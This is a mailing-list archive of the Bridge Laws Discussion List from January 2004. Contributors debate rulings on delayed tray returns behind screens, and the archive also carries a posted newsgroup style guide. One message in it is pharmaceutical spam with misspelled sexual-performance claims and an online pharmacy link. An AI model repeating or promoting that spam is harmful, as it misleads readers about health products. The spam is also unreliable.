inadvertent or otherwise, he is liable to rectification under Law 12A1. This is my firm opinion. ~ Grattan ~ +=+ From cyaxares@lineone.net Tue Jan 20 03:23:35 2004 From: cyaxares@lineone.net (Grattan Endicott) Date: Tue, 20 Jan 2004 03:23:35 -0000 Subject: [blml] A straightforward ruling References: <004501c3de89$c12466e0$b482b6d4@LNV> <5.2.0.9.0.20040119170245.01fe99c0@pop.starpower.net> Message-ID: <004201c3df06$1c148310$3b11e150@endicott> Grattan Endicott To: "Bridge Laws Discussion List" Sent: Monday, January 19, 2004 10:30 PM Subject: RE: [blml] A straightforward ruling > > These are by no means incompatible; I am quite > comfortable accepting both. Any information that > might be contained in the tempo of the return of > the tray comes from neither partner nor an > opponent; it comes from the tempo of the return > of the tray. That sounds like an "extraneous" > source, and L16B allows adjustments for > information from extraneous sources -- but only > if "the information could interfere with normal play". < +=+ And only if the information is received accidentally. If the player is drawing some conclusion from the delayed return of the tray this is the result of purposeful consideration and hardly accidental. ~ G ~ +=+ From t.kooyman@worldonline.nl Tue Jan 20 08:50:52 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Tue, 20 Jan 2004 09:50:52 +0100 Subject: [blml] A straightforward ruling References: <000001c3dcf4$260a3540$6900a8c0@WINXP> <400B9C1A.2090701@hdw.be> <5.2.0.9.0.20040119164944.01fe1830@pop.starpower.net> Message-ID: <003a01c3df34$a7357de0$2480b6d4@LNV> > > And that's only one dimension in a two-dimensional problem space. Even > if we stipulate that there is a 70% standard for disallowing the action > here and the TD judges that it has been met, we still must ask at how > many tables would there have to have been coffee spilled for him to > allow the action. > I agree with you, I forgot to mention that. Whether it is big enough to create a second dimension I am not sure of. I know myself well enough to know that, if I had your humor, a message like this would carry a rather negative load. Is that your purpose? I am honestly interested in your opinion and I can't read it this time. ton From twm@cix.co.uk Tue Jan 20 11:26:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Tue, 20 Jan 2004 11:26 +0000 (GMT Standard Time) Subject: [blml] A straightforward ruling In-Reply-To: <000f01c3df03$a83b7270$3b11e150@endicott> Message-ID: Grattan wrote: > > > +=+ Being conscious of a significant delay in the > return of the tray, the player must continue to > rely for his choice of call solely upon the meaning > of the legal calls. There are no plays as yet, and > he cannot observe any mannerism of a player > on the other side of the screen (a mannerism of > his screenmate is authorized information). It is not necessary to "observe" a mannerism of an opponent. The player may deduce a mannerism of an opponent and base his call on that deduction. I would particularly emphasise that a blind player (without screens) is just as entitled to base his actions on a hesitation by an opponent as a sighted one. > He has a duty not to let other, extraneous, information > affect his choice of action. If the information is "extraneous" (as per law 16b) the only "duty" on player is to call the TD - bidding without the TD being called is an infraction. > If his choice of call is adjudged to betray such influence, inadvertent > or otherwise, he is liable to rectification under Law 12A1. This is my > firm opinion. Why 12a1? If he deduces that his partner was thinking and bases his call on that we already have a law under which to adjust. If there was no hesitation by his partner there has been no infraction so clearly no adjustment is needed. Tim From ehaa@starpower.net Tue Jan 20 13:41:18 2004 From: ehaa@starpower.net (Eric Landau) Date: Tue, 20 Jan 2004 08:41:18 -0500 Subject: [blml] A straightforward ruling In-Reply-To: <003a01c3df34$a7357de0$2480b6d4@LNV> References: <000001c3dcf4$260a3540$6900a8c0@WINXP> <400B9C1A.2090701@hdw.be> <5.2.0.9.0.20040119164944.01fe1830@pop.starpower.net> Message-ID: <5.2.0.9.0.20040120081241.027338b0@pop.starpower.net> At 03:50 AM 1/20/04, Ton wrote: > > And that's only one dimension in a two-dimensional problem space. Even > > if we stipulate that there is a 70% standard for disallowing the action > > here and the TD judges that it has been met, we still must ask at how > > many tables would there have to have been coffee spilled for him to > > allow the action. > >I agree with you, I forgot to mention that. Whether it is big enough to >create a second dimension I am not sure of. It must be. Surely if there had been a hesitation at only one table, and spilled coffee at nine, we would allow the action. >I know myself well enough to know that, if I had your humor, a message >like >this would carry >a rather negative load. Is that your purpose? I am honestly interested in >your opinion and I can't read it this time. My comment honestly wasn't intended to "load" either way, as I have yet to make up my mind and continue to follow the discussion with interest. My immediate reaction to Ton's line of argument is that it makes a lot of sense in theory, but may require too complex a set of judgments to establish the necessary parameters to be practical. A guideline such as this is "useful" to the extent that it constrains directors' rulings in real-life situations, leading to more consistent, and thus (in some sense) fairer, rulings. Ton's approach would certainly do that in theory, but if it leaves TDs feeling as though they still "just have to make a judgment call" anyhow, it won't be of much help. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From ereppert@rochester.rr.com Tue Jan 20 14:34:00 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 20 Jan 2004 09:34:00 -0500 Subject: [blml] A straightforward ruling In-Reply-To: <000001c3de92$0d84e2f0$6900a8c0@WINXP> Message-ID: On Monday, Jan 19, 2004, at 08:42 US/Eastern, Sven Pran wrote: > Now it appears that screens do not meet this objective, we still > experience > illegal communication in the form of late tray returns. We experience late tray returns. I'm not convinced that a late tray return is in and of itself illegal communication. From ereppert@rochester.rr.com Tue Jan 20 14:42:45 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 20 Jan 2004 09:42:45 -0500 Subject: [blml] A straightforward ruling In-Reply-To: <000001c3de97$716e7c40$6900a8c0@WINXP> Message-ID: On Monday, Jan 19, 2004, at 09:20 US/Eastern, Sven Pran wrote: > I believe any direct communication across the screen (except by > passing the > tray in the prescribed way) when it has any relation whatsoever to the > board > in play is illegal. This IMO includes any message that the late return > of > the tray had nothing to do with hesitations etc. because then the > absence of > such message is positive information that there indeed was hesitation. Perhaps we need to collect data which will tell us that, say, 95% of the time, it takes players less than N seconds to pass the tray - and then require that the tray not ever be passed before N seconds have elapsed. This should eliminate most hesitation (and all "too quick") problems. From ereppert@rochester.rr.com Tue Jan 20 14:45:47 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 20 Jan 2004 09:45:47 -0500 Subject: [blml] A straightforward ruling In-Reply-To: <000b01c3deb6$5d911830$e7546e51@annespc> Message-ID: <559CE966-4B57-11D8-9113-0030656F6826@rochester.rr.com> On Monday, Jan 19, 2004, at 13:01 US/Eastern, Anne Jones wrote: > That any action taken by a player subsequent to mistakable > hesitation should be at their own risk. They are guessing after all! At their own risk, yes. Subject to adjustment because it turns out the hesitation *was* caused by partner, and they got a good result? I'm not so sure about that. From ereppert@rochester.rr.com Tue Jan 20 14:53:01 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 20 Jan 2004 09:53:01 -0500 Subject: [blml] A straightforward ruling In-Reply-To: <011b01c3deb7$088940a0$819868d5@tinyhrieuyik> Message-ID: <58027454-4B58-11D8-9113-0030656F6826@rochester.rr.com> On Monday, Jan 19, 2004, at 13:06 US/Eastern, Nigel Guthrie wrote: > In nine cases, however, the TD/AC should adjust because > South *did* cause the delay and it *may* have helped > North. I would suggest, however, that the ruling be > far less draconian than without screens. Law 16A: "After a player makes available to his partner extraneous information that may suggest a call or play, as by means of a remark, a question, a reply to a question, or by unmistakable hesitation, unwonted speed, special emphasis, tone, gesture, movement, mannerism or the like, the partner may not choose from among logical alternative actions one that could demonstrably have been suggested over another by the extraneous information." If the hesitation is not unmistakably south's then any information conveyed by it is not subject to this law. From ereppert@rochester.rr.com Tue Jan 20 14:55:11 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 20 Jan 2004 09:55:11 -0500 Subject: [blml] A straightforward ruling In-Reply-To: Message-ID: On Monday, Jan 19, 2004, at 15:41 US/Eastern, Ron.Johnson@geocan.nrcan.gc.ca wrote: > Yeah, you'll generally know who's responsible for tempo breaks. It's > not perfect, but it seems worth doing for matches that really matter. I assume you have some experience of them. As I said, I don't, so I suppose my opinion isn't worth much - but from what I've read of them, I'm not convinced. From ereppert@rochester.rr.com Tue Jan 20 15:15:00 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 20 Jan 2004 10:15:00 -0500 Subject: [blml] A straightforward ruling In-Reply-To: <000f01c3df03$a83b7270$3b11e150@endicott> Message-ID: <6A70FEC6-4B5B-11D8-9113-0030656F6826@rochester.rr.com> On Monday, Jan 19, 2004, at 07:45 US/Eastern, Grattan Endicott wrote: [snip] > The standards of proof for this judgmental decision are of the same > level > as for any other judgmental decision in the implementation of bridge > law. I am advised that > in Britain (ergo in Europe) that would be to the standard required in > a civil action in the law courts > - a sufficient preponderance of probability, but falling short of the > "beyond reasonable doubt" > standard that applies in criminal cases. +=+ Okay, I get that. I think. :-) [snip] > He must satisfy himself that there is persuasive evidence from the > player's subsequent calls that he did not act within strict accordance > of the laws, seeking to follow correct procedure in avoiding any > influence from the delay upon his choice of call as was his duty.+=+ I have looked at the sections labeled "correct procedure" in the laws as defining correct procedure. Yet the requirement to use only that information from partner conveyed by his calls and plays is not in those sections (it's in Law 73). Perhaps, if that is defined as "correct procedure" it should be included in Laws 17 and 44 (my suggestion; other laws in those sections may be more appropriate). > +=+ Being conscious of a significant delay in the return of the tray, > the player must continue to > rely for his choice of call solely upon the meaning of the legal > calls. There are no plays as yet, and > he cannot observe any mannerism of a player on the other side of the > screen (a mannerism of > his screen-mate is authorized information). He has a duty not to let > other, extraneous, information > affect his choice of action. If his choice of call is adjudged to > betray such influence, inadvertent > or otherwise, he is liable to rectification under Law 12A1. This is my > firm opinion. All right. I'll try to remember that. :-) From ereppert@rochester.rr.com Tue Jan 20 15:22:47 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 20 Jan 2004 10:22:47 -0500 Subject: [blml] A straightforward ruling In-Reply-To: Message-ID: <80DDCCD9-4B5C-11D8-9113-0030656F6826@rochester.rr.com> On Tuesday, Jan 20, 2004, at 06:26 US/Eastern, Tim West-Meads wrote: > It is not necessary to "observe" a mannerism of an opponent. The > player > may deduce a mannerism of an opponent and base his call on that > deduction. > I would particularly emphasise that a blind player (without screens) is > just as entitled to base his actions on a hesitation by an opponent as > a > sighted one. Hm. "Observe" has more than one meaning - and at least one is applicable to bridge and does not require sight. And I would submit that a hesitation is not a "mannerism" - unless the player concerned does it habitually (perhaps in an attempt to maintain even tempo). Nonetheless, I agree that a blind player is entitled to base his actions on an opponent's observed (albeit not sighted) tempo variation. From nigel.guthrie@ntlworld.com Tue Jan 20 18:33:17 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 20 Jan 2004 18:33:17 -0000 Subject: [blml] A straightforward ruling References: <58027454-4B58-11D8-9113-0030656F6826@rochester.rr.com> Message-ID: <00a701c3df83$e286c9e0$649868d5@tinyhrieuyik> [Ed Reppert] > If the hesitation is not unmistakably South's then any > information conveyed by it is not subject to this law.. [TFLB 16A] After a player makes available to his partner extraneous information that may suggest a call or play, as by means of a remark, a question, a reply to a question, or by unmistakable hesitation, unwonted speed, special emphasis, tone, gesture, movement, mannerism or the like, the partner may not choose from among logical alternative actions one that could demonstrably have been suggested over another by the extraneous information." [Nigel] There is no mistake about the delay. With screens, there is always doubt about its *origin*. If 16A isn't relevant, then which law is? Grattan suggests... [Grattan Endicott] >> ...we need an authorization from a law or regulation >> if we are to base a call upon information derived from >> the slow return of a tray due to uncertain cause. If >> we do not find such an authorization then we have an >> irregularity [TFLB 12A1] The Director may award an assigned adjusted score when he judges that these Laws do not provide indemnity to the non-offending contestant for the particular type of violation of law committed by an opponent." [TFLB 84E] If an irregularity has occurred for which no penalty is provided by law, the Director awards an adjusted score if there is even a reasonable possibility that the non-offending side was damaged, notifying the offending side of its right to appeal (see Law 81C9). {Nigel] The problem is... (1) North will claim he would make the same bid with or without the delay. (2) The delay is of uncertain origin, so arguably there has been no infraction of the law that affects North. (3) Anyway, the latter laws don't mandate that North select an inferior logical alternative to his preferred action. Simple comprehensive screen law is one of the many glaring omissions from TFLB. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.564 / Virus Database: 356 - Release Date: 19/01/2004 From richard.hills@immi.gov.au Tue Jan 20 22:04:32 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 21 Jan 2004 08:04:32 +1000 Subject: [blml] Spleen (for venting) Message-ID: Last November I mentored a promising youth player by partnering him in the Aussie Spring National Open Teams. In one match, my expert RHO cast aspersions at my youthful partner's ethics. Visibly upset, my youthful partner invited my expert RHO to summon the director. This my expert RHO declined to do. Flashforward to yesterday, the South West Pacific Teams, in which I am playing with my regular partner. In one match, the opposing team had the seating rights. To my dismay, they sent the same expert RHO to my table. I resolved to play the entire match in totally imperturbable fashion, so as not to give my expert RHO any cause for complaint. (My regular partner has the useful asset of a natural imperturbability.) About a third of the way through the match I was dummy, and attempted to leave the table for a toilet break. My expert RHO ordered me to remain seated, explaining that he insisted upon the physical presence of dummy. My expert RHO graciously conceded that I might take a toilet break between hands. Astounded, I summoned the director. As luck would have it, the CTD answered my call. The CTD ruled that I was entitled to take a toilet break when dummy, and also volunteered to play the dummy himself. I was more than a little annoyed, and my enjoyment of the game was more than a little interfered with. Once may be an accident, but twice is beginning to become a habit. I began to entertain suspicions that my expert RHO used the tool of psychological warfare to increase the imps he "earned". I carefully waited until the moment the last card of the match was played (so as not to distract LHO or partner) then recalled the CTD. I informed the CTD about the November incident, and asked for a ruling pursuant to Law 74A2. The CTD thoroughly investigated the facts of both the November incident, and also yesterday's incident. An impeccable and appropriate ruling was then given by the CTD. Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From svenpran@online.no Tue Jan 20 21:51:02 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 20 Jan 2004 22:51:02 +0100 Subject: [blml] A straightforward ruling In-Reply-To: <00a701c3df83$e286c9e0$649868d5@tinyhrieuyik> Message-ID: <000001c3df9f$7fa1f360$6900a8c0@WINXP> > Nigel Guthrie .......... > [Nigel] > There is no mistake about the delay. With screens, there > is always doubt about its *origin*. If 16A isn't relevant, > then which law is? Grattan suggests... 16B ? (I believe that I am beginning to understand the logic advocated by Grattan et al.) Sven From walt1@verizon.net Wed Jan 21 01:17:45 2004 From: walt1@verizon.net (Walt) Date: Tue, 20 Jan 2004 20:17:45 -0500 Subject: [blml] Spleen (for venting) In-Reply-To: References: Message-ID: <6.0.1.1.0.20040120201216.02e8c640@incoming.verizon.net> At 05:04 PM 20/01/2004, richard.hills@immi.gov.au wrote: >Last November I mentored a promising youth player by >partnering him in the Aussie Spring National Open >Teams. In one match, my expert RHO cast aspersions at >my youthful partner's ethics. Visibly upset, my >youthful partner invited my expert RHO to summon the >director. This my expert RHO declined to do. > >Flashforward to yesterday, the South West Pacific >Teams, in which I am playing with my regular partner. >In one match, the opposing team had the seating >rights. To my dismay, they sent the same expert RHO >to my table. I resolved to play the entire match in >totally imperturbable fashion, so as not to give my >expert RHO any cause for complaint. (My regular >partner has the useful asset of a natural >imperturbability.) > >About a third of the way through the match I was >dummy, and attempted to leave the table for a toilet >break. My expert RHO ordered me to remain seated, >explaining that he insisted upon the physical >presence of dummy. My expert RHO graciously conceded >that I might take a toilet break between hands. > >Astounded, I summoned the director. As luck would >have it, the CTD answered my call. The CTD ruled >that I was entitled to take a toilet break when >dummy, and also volunteered to play the dummy >himself. > >I was more than a little annoyed, and my enjoyment of >the game was more than a little interfered with. > >Once may be an accident, but twice is beginning to >become a habit. I began to entertain suspicions that >my expert RHO used the tool of psychological warfare >to increase the imps he "earned". > >I carefully waited until the moment the last card of >the match was played (so as not to distract LHO or >partner) then recalled the CTD. I informed the CTD >about the November incident, and asked for a ruling >pursuant to Law 74A2. > >The CTD thoroughly investigated the facts of both the >November incident, and also yesterday's incident. An >impeccable and appropriate ruling was then given by >the CTD. Richard James Don't keep us in suspense ... what was the ruling? Walt From blml@blakjak.com Wed Jan 21 01:34:38 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 21 Jan 2004 01:34:38 +0000 Subject: [blml] Advice on style for contributions to rec.games.bridge Message-ID: Note: the following is posted three times a year to rec.games.bridge. If it is considered helpful, it would be easy enough to post a copy to BLML as well. Advice on style for contributions to rec.games.bridge ***************************************************** Last modified: 2004-01-21 GENERAL The quality of a newsgroup will benefit if its community adheres to certain conventions in presentation and style. In this posting we provide some suggestions concerning contributions to rec.games.bridge. We claim no authority, but hope that contributors to RGB will be able to use these suggestions to their advantage. RGB is a *text* group. Like chess, RGB has some particular problems due to presenting hands and auctions. It is all too easy to make your article difficult to read on other members computers. However using the formatting tips given herein will avoid such problems and keep discussion flowing smoothly. There are a few things in particular that recur and should be avoided: 1) Do not use tabs in formatting as this in particular can ruin hand records with certain news readers. 2) Do not use proportional fonts for the same reason. (If your reader is presently set to proportional the example deals below will not align correctly). 3) State where you are posting from as the answers to most laws and bidding questions will depend on this. 4) Include the form of scoring and vulnerability if asking how to bid/play a hand. 5) Post using a text format. No binaries, no HTML, no attachments, no files, no pictures, no music, no MIME documents. 6) When posting complete hands, check and recheck that they have exactly thirteen cards, and that no cards are duplicated between two or more hands. 7) Do not use hands from online bridge games before they have been retired by that game. These are discussed in more detail below. Richard Pavlicek has also written a Bridge Writing Style Guide with much good advice. It may be seen at http://www.rpbridge.net/7z69.htm. Alternatively you can download a PDF version at http://www.rpbridge.net/p/7z69.pdf. INFORMATION ON THE WEB This posting is not the rgb.FAQ, which was a separate document for the group containing 'frequently asked questions' (FAQ), but is no longer available. Here is a quick to various online information: The Laws of Bridge : http://blakjak.com/lws_lnks.htm International Appeals : http://home.worldcom.ch/~fsb/appealse.html ACBL home page : http://www.acbl.org Great Bridge Links : http://www.greatbridgelinks.com Bridge Newsgroups : http://blakjak.com/br_ngrps.htm Online Bridge : http://www.greatbridgelinks.com/gblPLAY/ National organisations : http://blakjak.com/brg_lnkn.htm NETIQUETTE The newsgroup news.announce.newusers regularly provides an introduction to the general rules and etiquette of net use. You will find there much commonsense advice: your postings reflect upon you, compose your text carefully, be brief, use a descriptive subject header, summarize previous posts to which you are responding, don't quote more material than is necessary, restrict your lines to 72 characters, sign your articles. You will find there also a discussion of the disease of mushrooming meta-discussions, suggestions about when to use private email rather than the net, suggestions about ignoring or dealing with postings that are deemed inappropriate, obnoxious or silly, advice about proper procedure in quoting previous posts and private email, and much else. It is important that you use a text format and a Fixed Font: details of how to do this with Outlook Express may be found at http://blakjak.com/out_exp.htm. Do not use HTML or post MIME documents, and do not include any attachments, so no binaries, no files, no pictures, no music. RGB is an international group, and it helps particularly to identify your country in postings, as many issues may be specific to it. It is polite to give your real name, and Town/City. A short sigfile such as: -- John B Doe - Cambridge Mass. USA ... will make replies to your query or point much more meaningful. General Netiquette asks you to restrict sigs to maximum 4 text lines. The special "-- " (3 character line) prefix [called a "sig separator"] allows good news programs to snip out the sig automatically when others reply. Unfortunately some Microsoft products [eg Hotmail via a web browser] will not allow a sig separator. When responding to a post you should include enough of the question so that people know to what you are replying but delete enough [called "snipping"] so that people do not have to read large chunks they have already read earlier. Such editing can be quite an art. Look over other postings to see what is excessive editing, or clutter from too much repetition. You should nearly always edit out sigfiles if your reader does not do this. Try to snip in such a way as not to misattribute quotations, and especially when quoting someone in order to disagree with them, try not to distort their position through careless cutting. SUBJECTS Some people put problems in the subject lines. For example, the subject might read "What do you bid with AKQx Jxx xxx xxx?". It is important that anything put in the subject line in this way is repeated in the body of the article. If a hand is included then it is important that is repeated in a way that is easily readable - see next section. HAND DIAGRAMS It is helpful to your readers if you follow a minimal standard format when posting a hand or a deal. Count the cards! Check there are no duplications! List the suits in the order S, H, D, C. In a diagram of four hands, place South at the bottom and rearrange the directions to make South declarer unless there is a special reason not to. Do not use the tab key to compose a diagram, as the diagram may become misaligned on other people's screens and is very likely to become misaligned if your text is quoted and indented. If only two hands are shown it may be better to place them side by side as West and East, and a single hand can be specified inline. It is also important that proportional fonts are not used. The exact distribution of small cards is often relevant for signalling and for communication between the hands, so please do not use xx's to represent small cards when discussing a play problem, and in a bidding problem use xx's only when they may truly be understood to represent the smallest cards in the suit. If you are posting a deal from actual play and you've forgotten all the small cards, then it may be best to make them up in some way so that this newsgroup has a precisely specified problem to consider. There are some defensive problems where one wants to "filter out" signalling issues, emphasizing inferences from bidding and declarer's play. In such cases, use of xx's may avoid peripheral concerns. Here are some minor points to improve readability. The symbol "T" for 10 is common and its use is recommended, particularly if you don't use spaces between cards. In the auction, use P or Pass and X or Dbl rather than PASS and DBL. A vertical lay-out for the suits in the North and South hands is difficult to read, please don't use that format. Cards are always specified suit first and bids level first (so D2 is a card and 2D is a bid or contract). Please capitalize the symbols AKQJT and use lower-case "x" for the unspecified small cards. When recapping the auction, make sure that East's bids are to the right of West's, else readers may associate the bids with the wrong hand. The recommended format is to list the bids in four columns in the order W-N-E-S. Note all alertable bids and explain the bid in context. Do not explain a bid by convention name if it is not one of the standard bids or if you play some variation that is not standard. You can avoid confusion by describing a bid rather than naming it. Some people have small screens, and it is helpful if they do not have to continually scroll up and down to read a hand. Thus a helpful diagram is quite small. Height tends to be more of a problem than width and the example below (in a 72 character width) will be legible almost anywhere. Note that if its columns don't line up your news program needs setting to fixed font! ----------------------------------------------------------------------- Brd: 1 S KT83 Pairs | W N E S Dlr: N H A5 | 1C(1) P 1H(2) Vul: NS D AJ62 | P P P C J73 | S A97 S J652 | H T832 H K7 | D KT75 D 943 | (1) alerted, explained only as C 98 C KQ65 | "could be short" S Q4 | Opening H QJ964 Result: | (2) less than 10 points, lead: D5 D Q8 +140 NS | non-forcing, not alerted C AT42 | N/S are playing a system where you need a five card suit to open 1D, 1H or 1S. 1C is marked as forcing, 13-15 if balanced. ----------------------------------------------------------------------- Play problems where only two hands are shown are easier to read if declarer is shown as West and dummy as East. For example: A97 J652 | West deals and opens 1NT. AT32 K7 | Everyone passes and North leads KT75 943 | H5. How do you play? J8 KQ65 | ADDITIONAL INFORMATION When you post a bidding problem, supply the method of scoring, the vulnerability and the position of the dealer. Do this even if you think the information is superfluous; it seldom is, and takes up very little space. When you post a play problem, again, as a matter of routine, mention the method of scoring and the vulnerability. It is normally right to provide the bidding too. Whenever possible, please give the level of the event. Also specify the type of defensive carding that is being used if relevant. When asking for a director's ruling on a particular deal, describe the level of the event and any relevant circumstances, specify all four hands, and describe the bidding and play completely. (In cases involving unauthorized information you can alternatively provide only the authorized information and ask what are the logical options.) It is also *extremely* important when asking for a Director's ruling to quote where the event is, what jurisdiction, and what level of event. You may often get a quite different decision depending on local rules or the standard of play involved. STYLE Many postings on RGB are in the "What went wrong?" category. A good original posting of that type describes a deal and bidding or play that is, in the poster's humble opinion, reasonable and without obvious error, but that has led to an unsatisfactory result. The poster asks whether some particular action is to blame or whether the result is just unfortunate. Deals in which the poster already recognizes that some error has been committed normally do not provide good material for discussion. Please do not pose problems of which one component is partnership misunderstanding, partnership mistrust, or flouting of partnership agreements. The net can't help with those problems except by impressing upon you that partnership understanding and partnership trust are preconditions for a good game of bridge. In consideration of your worldwide audience, please avoid bridge slang: "a hook", "to tap", or "red on white" may not be as clear to everyone as "a finesse", "force to ruff", or "vul v not". Note especially that the terms "red", "white" and "green" for vulnerabilities have different meanings for different people. RESPONSES It is not normally correct to solicit email replies because there are always some other members of the newsgroup who are interested in replies to any problem. It is satisfactory to ask for email replies as well as posts. If you are taking a poll or compiling a list, an alternative to consider is to request replies by email and then post a summary of the results. You should make clear that you are doing this since it is rarely done. If someone does send you email, it is polite to respond with at least a brief acknowledgement. Please remember to post the summary you promise! If people have gone to the trouble of replying, they are likely to be interested in the results. Before posting a reply to a problem, think it through. Read all the other postings in the same thread; maybe somebody else has already said what you were going to say. Reply only if you believe you are qualified and have an informed opinion, and compose your answer carefully - the time spent on doing so will save your readers much more time in the aggregate. Remember that it is only the careful reasoning that you supply that makes your answer of any interest to the RGB readers. If you are addressing a bidding problem, explain why your chosen bid is superior to the likely alternatives. If it is a play problem, try to provide percentages. If it is a director's problem, state the legal basis for your ruling. Please appreciate that a question that appears trivial to you was not trivial to the original poster and may not be trivial to many other readers. Be polite, succinct and to the point. Quote from the original posting no more than is needed to make your answer clear; attribute your quote properly, but never quote a signature. It is not normally a good idea to make successive postings referring to the same problem or issue, although a discussion may introduce a new topic that merits a second contribution. If you decide you've not made yourself clear in your first contribution, resolve to do better when you comment on another problem. If you decide that your original answer to a problem was wrong and meanwhile someone else has posted a better answer, don't feel that you now must post a correction to your previous answer. Perhaps you should not have replied in the first place, and anyway, the correction has already appeared. Forget about it and resolve to do better the next time. If you've posted an answer to a problem and you read a subsequent answer by someone else that you think is wrong, don't reiterate what you've said before. You've made your point and the readers can make up their own mind. If you see a posting that is plainly wrong or silly, wait a day or two before following up. If you can't stand to wait, send email to the author rather than a follow-up. Chances are other people have noticed too and an excessive number of follow-ups are already on the way. If you see a posting that is rude or inappropriate, an email message should be preferred to replying over the net; replying by follow-up on the net tends to generate flame wars instead of discussion. If you post a hand on this newsgroup you should be willing to accept that some players will strongly disagree with your bidding or play. Please understand that the nature of a public electronic network does not allow you the same degree of social control that you may have in your local bridge club; for that very practical reason you should try hard not to let a style of posting of which you disapprove interfere with your enjoyment of this newsgroup. OTHER INFORMATION The rec.games.bridge FAQ (Frequently Asked Questions) and related archive material, including a variety of Bridge software, was maintained by Markus Buchhorn (markus@octavia.anu.edu.au) but is no longer available. For links there are various places, including Great Bridge Links at http://www.greatbridgelinks.com and David Stevenson's Links at http://blakjak.com/brg_lnks.htm. Most national organisations have their own sites which will include local links. A reasonably comprehensive list of national sites can be found at http://blakjak.com/brg_lnkn.htm. Various servers allow people to play and watch bridge over the Internet. Details may be found at http://www.greatbridgelinks.com/gblPLAY/. Please don't post hands from these servers until they are no longer current; the same hand may be played by many other RGB readers. Thanks to Ted Ying, Paul Jackson, Paul Barden, Mark Lehto, Mark Brader, Jim Loy, Hans van Staveren, Geoff Hopcraft, Franco Baseggio, Doug Newlands, David Grabiner, David desJardins, Chris Ryall, Charles Blair, Brian Clausing, Bharat Rao, Barry Rigal, Andy Bowles, Alvin Bluthman and Adam Wildavsky for their contributions to this style guide, and Jude Goodwin-Hanson for help in promulgating it. This guide will be available at the following addresses. It will also be posted to RGB three times a year, in mid-January, mid-July and mid- September. http://www.greatbridgelinks.com/gblRSC/rgb_stg.htm http://blakjak.com/rgb_stg.htm David Stevenson [for comments] Steve Willner Bas Braams -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From cyaxares@lineone.net Wed Jan 21 03:27:16 2004 From: cyaxares@lineone.net (Grattan Endicott) Date: Wed, 21 Jan 2004 03:27:16 -0000 Subject: [blml] A straightforward ruling References: Message-ID: <003201c3dfce$8a5291f0$4116e150@endicott> Grattan Endicott To: "blml" Sent: Tuesday, January 20, 2004 2:34 PM Subject: Re: [blml] A straightforward ruling > > We experience late tray returns. I'm not convinced > that a late tray return is in and of itself illegal > communication. > +=+ I agree it is not. Anything the player may deduce from the event, however, is extraneous and he may not base his action on it. Much like a disembodied sigh, perhaps :-) +=+ From godtabulators@MetalMail.com Wed Jan 21 08:08:24 2004 From: godtabulators@MetalMail.com (Plane) Date: Wed, 21 Jan 2004 07:08:24 -0100 Subject: [blml] purest Info regarding vigra Message-ID: darted, How Vigras works. And you can better understand, what Vigras can do for you. If you are sensible about your health, reflect on what you can do for your seual health, to keep the chances that you will need Vigras as low as possible. omitted sainthood Lopez, scapegoat. http://www.pvmsolutions.com/index.php?pid=pharmaboss Inrease Seks Drive Bost Seual Performance Fuller & Harder Erecions Inrease Stamna & Endurance Quicker Rechages Agatha anchor regardless, DECtape. reliable cycled liquidate, voyaged. Happy holidays, reptiles From jaapvanderneut@hotmail.com Wed Jan 21 08:04:39 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Wed, 21 Jan 2004 09:04:39 +0100 Subject: [blml] A straightforward ruling References: Message-ID: ED: > Perhaps we need to collect data which will tell us that, say, 95% of > the time, it takes players less than N seconds to > pass the tray - and then require that the tray not ever be passed > before N seconds have elapsed. This should eliminate most hesitation > (and all "too quick") problems. Of course that is the solution (at least for 95% of the problems). But not very original. Such rules are already enforced in at least Holland and the EBL. You have the right to delay the tray (to a certain extend) to avoid too quick returns. I thought WBF also but I am too lazy to check. Anyway screens are great. Playing with screens is so much better than without, so I don't understand some people saying that since they are not perfect, they are not, we should do away with them. But yes, even screens don't prevent all UI . But late tray returns is a rather minor problem. People sensitive to that normally can, try to, and will hear the bidding boxes, so often the exact timing of the bidding is known (screens are far from sound proof). The best quality of screens is tahat it prevents almost all non vocal comminication like explanations but maybe more important facial expressions and all that stuff. Jaap ----- Original Message ----- From: "Ed Reppert" To: "blml" Sent: Tuesday, January 20, 2004 3:42 PM Subject: Re: [blml] A straightforward ruling > > On Monday, Jan 19, 2004, at 09:20 US/Eastern, Sven Pran wrote: > > > I believe any direct communication across the screen (except by > > passing the > > tray in the prescribed way) when it has any relation whatsoever to the > > board > > in play is illegal. This IMO includes any message that the late return > > of > > the tray had nothing to do with hesitations etc. because then the > > absence of > > such message is positive information that there indeed was hesitation. > > Perhaps we need to collect data which will tell us that, say, 95% of > the time, it takes players less than N seconds to > pass the tray - and then require that the tray not ever be passed > before N seconds have elapsed. This should eliminate most hesitation > (and all "too quick") problems. > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From ereppert@rochester.rr.com Wed Jan 21 15:53:58 2004 From: 